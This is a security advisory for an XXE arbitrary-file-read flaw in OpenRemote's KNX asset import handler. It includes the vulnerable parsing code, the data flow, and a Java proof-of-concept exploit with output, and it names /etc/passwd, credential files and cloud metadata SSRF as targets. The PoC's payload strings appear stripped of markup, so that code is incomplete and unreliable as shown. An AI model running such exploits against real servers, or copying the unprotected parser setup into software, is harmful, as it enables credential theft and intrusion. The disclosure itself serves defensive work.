GitHub Advisoryadvisory · Maven
GHSA-7v6w-c3f4-9wpq OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory
HIGH
Official page ↗
- Aliases
- CVE-2026-54640
- Ecosystem
- Maven
- Packages
- io.openremote:openremote-agent
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
- Weaknesses
- CWE-611
- Reviewed
- 2026-07-06
Affected packages
• Maven io.openremote:openremote-agent: < 1.24.2 → fixed in 1.24.2
Description
Summary
The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files).
Details
Incomplete patch
CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data.
Patched file — AbstractVelbusProtocol.java:
```java
private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
return factory;
}
```
Vulnerable file — KNXProtocol.java, lines 229–249:
```java
// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
// Lines 233-245: Saxon XSLT — no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP
new StreamResult(writer));
// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
.createXMLStreamReader(new StringReader(xml))) { ... }
```
Data flow
```
POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L)
→ AgentResourceImpl.doProtocolAssetImport(fileData)
→ KNXProtocol.startAssetImport(byte[] fileData)
→ ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
→ Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1
→ XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2
→ external entity resolved → arbitrary file read
```
Comparison with patched code
| Handler | XML parser | DTD disabled | Status |
|---|---|---|---|
| `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) |
| `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | Not patched |
PoC
No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.
Requirements: Java 17+, Maven 3.8+
pom.xml dependency:
```xml
net.sf.saxon
Saxon-HE
12.9
```
Exploit.java:
```java
import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;
public class Exploit {
public static void main(String[] args) throws Exception {
// Sentinel file — proves arbitrary file read
Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
Files.writeString(sentinel, tag);
String maliciousXml =
"\n" +
"\n" +
"]>\n" +
"&xxe;";
// Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
XMLInputFactory factory = XMLInputFactory.newInstance();
XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
StringBuilder sb = new StringBuilder();
while (reader.hasNext()) {
int e = reader.next();
if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
}
System.out.println("Stage A result: " + sb.toString().trim());
// Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
String xsl = "" +
"" +
"" +
"" +
"";
TransformerFactory tf = new TransformerFactoryImpl();
StringWriter writer = new StringWriter();
tf.newTransformer(new StreamSource(new StringReader(xsl)))
.transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
System.out.println("Stage B result: " + writer.toString().trim());
Files.deleteIfExists(sentinel);
}
}
```
Build and run:
```bash
mvn clean package -q
java -jar target/openremote-xxe-1.0.jar
```
Verified output (JDK 21, Linux):
```
Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589
```
Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.
Impact
Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).
Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:
• `/etc/passwd` — user enumeration
• Application configuration files containing database credentials or API keys
• Cloud provider metadata endpoints via SSRF (`http://169.254.169.254/...`)
• Internal service endpoints reachable from the server
The vulnerability is present in `KNXProtocol`, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.
Related
Alias · CVE (1)
- CVE-2026-54640 OpenRemote is an open-source internet-of-things platform. vulnerability
Weakness · CWE (1)
- CWE-611 Improper Restriction of XML External Entity Reference weakness